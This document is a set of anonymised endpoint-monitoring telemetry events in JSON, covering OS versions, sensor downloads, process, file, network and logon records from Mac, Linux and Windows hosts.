-{"MajorVersion":"19","event_simpleName":"OsVersionInfo","OSVersionFileData":"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a","ConfigStateHash":"3967242894","AgentVersion":"6.24.13701.0","aip":"67.43.156.14","MinorVersion":"6","OSVersionString":"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OsVersionInfoMacV3","RFMState":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","OSVersionFileName":"/System/Library/CoreServices/SystemVersion.plist","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677462356","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ConfigBuild":"1007.8.0010912.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1284133626","ConfigStateData":"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-8e88-068a8894a447","aid":"ffffffff4f4044b689d6420d303e4ecd","timestamp":"1625677436454","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"1333055909","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53","DownloadPort":"443","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"LFODownloadConfirmationLinV1","CompletionEventId":"Event_KmaExtDownloadCompleteLinV1","id":"ffffffff-1111-11eb-8dee-0201f64cca29","aid":"ffffffff88b948c6abeeee910f6d8c33","timestamp":"1625677365906","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"KernelModuleArchiveExt11611"} -{"event_simpleName":"TarFileWritten","ContextTimeStamp":"1625677353.633","ConfigStateHash":"3090255842","ContextProcessId":"365049009681176519","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"050000010000000000000000000000005749420100000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"TarFileWrittenMacV1","id":"ffffffff-1111-11eb-9497-028a0bfcf603","EffectiveTransmissionClass":"2","aid":"ffffffffe6244708bd09a6c111f63f4a","timestamp":"1625677353895","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem"} -{"event_simpleName":"AgentConnect","ConfigStateHash":"3967242894","NetworkContainmentState":"0","VerifiedCertificate":"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf","aip":"67.43.156.14","ConfigIDBase":"65994753","FailedConnectCount":"404","ConnectType":"1","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"AgentConnectMacV5","ConfigIDPlatform":"4","PreviousConnectTime":"1625673963.331","id":"ffffffff-1111-11eb-ba54-02a3616f6acd","ConfigIDBuild":"13701","ConnectTime":"1625677350.208","EffectiveTransmissionClass":"2","aid":"ffffffff2977460db2898ece881a9358","ProvisionState":"0","timestamp":"1625677350466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"3090255842","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys","DownloadPort":"443","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LFODownloadConfirmationMacV1","CompletionEventId":"Event_ChannelDataDownloadCompleteMacV1","id":"ffffffff-1111-11eb-8b09-069ee8920171","EffectiveTransmissionClass":"0","aid":"ffffffff5e8b4724aa10088c4f71cd9a","timestamp":"1625677525235","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"C-00000503-00000000-00000001.sys"} -{"event_simpleName":"AsepFileChange","ContextTimeStamp":"1625677482.148","ConfigStateHash":"1620585913","ContextProcessId":"364936256754041721","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"AsepFileChangeMacV1","id":"ffffffff-1111-11eb-9e50-064be6e56df7","EffectiveTransmissionClass":"2","aid":"fffffffff1a64286a233d09974b1b377","timestamp":"1625677482403","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs","VnodeModificationType":"6"} -{"event_simpleName":"TerminateProcess","RawProcessId":"76482","ContextTimeStamp":"1625677510.959","ConfigStateHash":"1284133626","ContextProcessId":"130732827553316","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0010912.1","event_platform":"Lin","TargetProcessId":"130732827553316","Entitlements":"15","name":"TerminateProcessLinV2","id":"ffffffff-1111-11eb-97d0-02b2813216eb","EffectiveTransmissionClass":"2","aid":"ffffffffdd094539a02b394c69a70aaf","timestamp":"1625677511067","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ConfigBuild":"1007.4.0013701.1","event_simpleName":"FirewallEnabled","event_platform":"Mac","ConfigStateHash":"3090255842","Entitlements":"15","name":"FirewallEnabledMacV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-a9e6-067d21325a03","EffectiveTransmissionClass":"2","aid":"ffffffff70cf4070af024397f25007c7","timestamp":"1625677372544","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"FsVolumeUnmounted","VolumeName":"Install Google Drive","ContextTimeStamp":"1625677332.283","ConfigStateHash":"3090255842","aip":"67.43.156.14","VolumeMediaBSDName":"disk2s2","VolumeMountPoint":"/private/tmp/KSInstallAction.dn6J5Xa1M4/m","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"FsVolumeUnmountedMacV1","id":"ffffffff-1111-11eb-8fd9-06866dcbd3d5","EffectiveTransmissionClass":"2","aid":"ffffffffed984e248973f3ada1eb543d","timestamp":"1625677334451","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"} -{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677474.525","ConfigStateHash":"2300098580","ConnectionFlags":"0","ContextProcessId":"328911864662804336","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"23165","Entitlements":"15","name":"NetworkListenIP4LinV5","id":"ffffffff-1111-11eb-88fd-06a17d0fdc05","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff2a0d484da8f7a9cf8bde7164","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677474879","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ELFFileWritten","ContextTimeStamp":"1625677526.828","ConfigStateHash":"1620585913","ContextProcessId":"363122200934575406","Size":"38798952","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027","FileIdentifier":"040000010000000000000000000000006793f80200000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ELFFileWrittenMacV1","id":"ffffffff-1111-11eb-985c-02152dd35bc1","ELFSubType":"4","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677527114","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe"} -{"MajorVersion":"4","event_simpleName":"OsVersionInfo","OSVersionFileData":"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a","BootArgs":"BOOT_IMAGE\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\u003dUUID\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\u003dtty0 console\u003dttyS0,115200n8 net.ifnames\u003d0 biosdevname\u003d0 nvme_core.io_timeout\u003d4294967295 rd.emergency\u003dpoweroff rd.shell\u003d0","ConfigStateHash":"3712162471","AgentVersion":"6.19.11611.0","aip":"67.43.156.14","MinorVersion":"14","OSVersionString":"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"OsVersionInfoLinV4","RFMState":"1","id":"ffffffff-1111-11eb-93d4-0624c36f3a79","OSVersionFileName":"/etc/os-release","aid":"ffffffff2d1245c0a32d5efcf9351272","timestamp":"1625677383466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1625677439.099","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"364849347227309005","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"04000001000000000000000000000000cdf3100100000000","ConfigBuild":"1007.4.0013701.1","UID":"0","USN":"89566685","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileModifiedMacV2","id":"ffffffff-1111-11eb-9262-0268ab613b49","EffectiveTransmissionClass":"2","aid":"ffffffff761b4a7d9962dd9e7e776044","timestamp":"1625677439398","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/user9.plist/"} -{"event_simpleName":"NeighborListIP6","ConfigStateHash":"3090255842","NeighborList":"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP6MacV1","id":"ffffffff-1111-11eb-ac8a-06b5e1186139","EffectiveTransmissionClass":"3","aid":"ffffffff01c7450180352a7c58a28fb4","timestamp":"1625677489786","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677382.785","UserName":"user3","ConfigStateHash":"1325353086","ContextProcessId":"364952259879648742","Size":"8052","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6","FileIdentifier":"04000001000000000000000000000000ef07570000000000","ConfigBuild":"1007.4.0013806.1","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"15","name":"NewScriptWrittenMacV3","id":"ffffffff-1111-11eb-9dc1-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffffcebd42c0890d59b54279d3d3","timestamp":"1625677383057","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh"} -{"event_simpleName":"SystemCapacity","ConfigStateHash":"1620585913","aip":"67.43.156.13","CpuClockSpeed":"2400000000","PhysicalCoreCount":"8","CpuFeaturesMask":"7494065083908067","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LogicalCoreCount":"16","Entitlements":"15","name":"SystemCapacityMacV1","CpuVendor":"0","CpuProcessorName":"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz","id":"ffffffff-1111-11eb-b714-066001392751","CpuSignature":"591597","EffectiveTransmissionClass":"3","aid":"fffffffff2c7432859ff6bbe1a0bd6af","ProcessorPackageCount":"1","MemoryTotal":"17179869184","timestamp":"1625677387216","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"FirmwareAnalysisStatus","ConfigStateHash":"3090255842","FirmwareAnalysisEclControlInterfaceVersion":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","FirmwareAnalysisEclConsumerInterfaceVersion":"0","BootTimeFunctionalityLevel":"255","ReasonOfFunctionalityLevel":"3","CurrentFunctionalityLevel":"2","Entitlements":"15","name":"FirmwareAnalysisStatusMacV2","id":"ffffffff-1111-11eb-ba57-0214a0d89bf7","EffectiveTransmissionClass":"0","aid":"ffffffff0d7b4d839912e55b4755e85b","timestamp":"1625677368429","cid":"ffffffff15754bcfb5f9152ec7ac90ac","PciAttachmentState":"65535"} -{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.13","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"utun2","InDiscards":"0","InterfaceIndex":"17","event_platform":"Mac","InterfaceType":"1","id":"ffffffff-1111-11eb-a272-0294ad12fbe7","PhysicalAddressLength":"0","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677504544","LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"3090255842","PhysicalAddress":"","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressIP4MacV1","aid":"ffffffff557f4b99a0afdea9ce8cd6fa","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"CommandLine":"uname -a","ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","Entitlements":"15","GID":"0","ImageFileName":"/bin/uname","MD5HashData":"894356eb59e279696c304f07091b7fde","NDRoot":"321385814512398584","ParentProcessId":"321385814512398584","ProcessEndTime":"1604855099.126","ProcessGroupId":"0","ProcessStartTime":"1604855099.126","RGID":"0","RUID":"0","RawProcessId":"51342","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa","SVGID":"0","SVUID":"0","SessionProcessId":"314116638974342642","SourceProcessId":"321385814512398584","SourceThreadId":"0","TargetProcessId":"321385814512398605","UID":"0","aid":"ffffffff70d140ca9ba97f0dddd14137","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-ac87-06decddc17a1","name":"ProcessRollup2LinV5","timestamp":"1604855099681"} -{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"317713210176499254","ContextThreadId":"0","ContextTimeStamp":"1604855096.730","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"28987","SHA256HashData":"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"317713210176499254","aid":"ffffffff75fc48f15cfe5f095e605c4c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-809e-02fff4e55a49","name":"EndOfProcessMacV14","timestamp":"1604855099646"} -{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"38188","ConHostProcessId":"3099352216141","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextData":"","ContextProcessId":"3100508103359","ContextThreadId":"93436292950223","ContextTimeStamp":"1604855097.926","CreateProcessCount":"0","CycleTime":"2937514388","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"1","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"2","GenericFileWrittenCount":"0","ImageSubsystem":"3","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"7500000","MaxThreadCount":"4","ModuleLoadCount":"38","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"3099350649383","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855096.463","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"33016","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"3100508103359","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-5-18","UserTime":"6406250","aid":"ffffffffb5db4b2e7ec89aba537adcc2","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"EndOfProcessV15","timestamp":"1604855099935"} -{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","ContextProcessId":"311775981885093125","ContextThreadId":"0","ContextTimeStamp":"1604855101.341","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"10507","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"311775981885093125","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"EndOfProcessMacV12","timestamp":"1604855100139"} -{"AuthenticationId":"999","CommandLine":"D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe","ImageSubsystem":"3","IntegrityLevel":"16384","MD5HashData":"571391f723a439e985a2064337e2802a","ParentAuthenticationId":"999","ParentBaseFileName":"splunkd.exe","ParentProcessId":"17346335177","ProcessCreateFlags":"67634688","ProcessEndTime":"","ProcessParameterFlags":"24577","ProcessStartTime":"1604855099.406","ProcessSxsFlags":"64","RawProcessId":"6116","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720","SessionId":"0","SourceProcessId":"17346335177","SourceThreadId":"107650023406","Tags":"27, 151, 12094627905582, 12094627906234","TargetProcessId":"583707537390","TokenType":"1","UserSid":"S-1-5-18","WindowFlags":"384","aid":"ffffffff3a5a424fa02450da53619745","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-a09e-06f79d630255","name":"ProcessRollup2V17","timestamp":"1604855100030"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2784638081","ContextProcessId":"259090530891","ContextThreadId":"16409623709004","ContextTimeStamp":"1604855095.961","DnsRequestCount":"1","DomainName":"comp1.dom2","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff4f1444bab96568879cb43556","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DnsRequest","id":"ffffffff-1111-11eb-8077-0606f7dcf2ed","name":"DnsRequestV3","timestamp":"1604855099913"} -{"ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","ContextProcessId":"321385820045701199","ContextThreadId":"0","ContextTimeStamp":"1604855101.645","Entitlements":"15","GID":"0","TargetFileName":"/etc/shadow","UID":"0","UnixMode":"32768","aid":"ffffffff32ba43a483e76c6f0a4aa26f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"CriticalFileAccessed","id":"ffffffff-1111-11eb-b70d-027f9ced2001","name":"CriticalFileAccessedLinV1","timestamp":"1604855102247"} -{"CommandLine":"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","Entitlements":"15","GID":"0","ImageFileName":"/usr/bin/plutil","MD5HashData":"d51cef1b288e2032aee9805deff04bfd","MachOSubType":"1","ParentProcessId":"311774817965726568","ProcessEndTime":"","ProcessGroupId":"311774817965726568","ProcessStartTime":"1604855111.240","RGID":"0","RUID":"0","RawProcessId":"10692","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SVGID":"0","SVUID":"0","SourceProcessId":"311776004953765502","SourceThreadId":"0","Tags":"27, 12094627905582, 12094627906234","TargetProcessId":"311776004953765502","UID":"0","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"ProcessRollup2MacV3","timestamp":"1604855109180"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3899738370","ContextProcessId":"1546527409909","ContextThreadId":"4711690090889","ContextTimeStamp":"1604855114.133","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00","FileObject":"18446655033844205120","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"88080484","ShareAccess":"1","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1","aid":"ffffffff8f1e4b77b4dae5debaa1c8bc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewScriptWritten","id":"ffffffff-1111-11eb-80b5-06e11a66e03d","name":"NewScriptWrittenV7","timestamp":"1604855114427"} -{"ConfigBuild":"1007.4.0012205.1","ConfigStateHash":"1306766522","ConnectionDirection":"1","ConnectionFlags":"0","ContextProcessId":"321275232072440993","ContextTimeStamp":"1604855116.421","Entitlements":"15","InContext":"0","LocalAddressIP4":"0.0.0.0","LocalPort":"0","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"ffffffffd4094240a6b1d12aaf304f4f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-aca9-02683aed2a0d","name":"NetworkConnectIP4MacV5","timestamp":"1604855116502"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2602391615","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"223442259384","ContextTimeStamp":"1604855116.849","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"67.43.156.14","LocalPort":"53961","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"fffffffff000426eb99afaa2ccdcbc17","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-b0eb-06be7616c211","name":"NetworkConnectIP4V5","timestamp":"1604855116942"} -{"AuthenticationId":"6580764513","AuthenticationPackage":"Negotiate","ClientComputerName":"-","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"816054990879","ContextThreadId":"52913017705957","ContextTimeStamp":"1604855091.781","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"NT AUTHORITY","LogonServer":"","LogonTime":"1604855091.781","LogonType":"9","PasswordLastSet":"","RemoteAccount":"1","UserFlags":"0","UserIsAdmin":"0","UserLogonFlags":"12","UserName":"SYSTEM","UserPrincipal":"user4@dom2","UserSid":"S-1-5-18","aid":"ffffffff8d2e4b4f9b21b40633a8d579","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogon","id":"ffffffff-1111-11eb-a8cf-0649c95cfa1d","name":"UserLogonV8","timestamp":"1604855121077"} -{"AuthenticationId":"2007206396","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"4415814628770","ContextThreadId":"41392001729898","ContextTimeStamp":"1604855120.785","DiskParentDeviceInstanceId":"PCI\\VEN_1000\u0026DEV_0054\u0026SUBSYS_197615AD\u0026REV_01\\4\u00261f16fef7\u00260\u002600A8","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c","FileObject":"18446708893089967904","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","IsTransactedFile":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","SHA256HashData":"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182","Size":"6144","TargetFileName":"\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll","TokenType":"1","aid":"ffffffff2c47454cba360bc404a607bb","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PeFileWritten","id":"ffffffff-1111-11eb-b091-06f6cca0a049","name":"PeFileWrittenV14","timestamp":"1604855121109"} 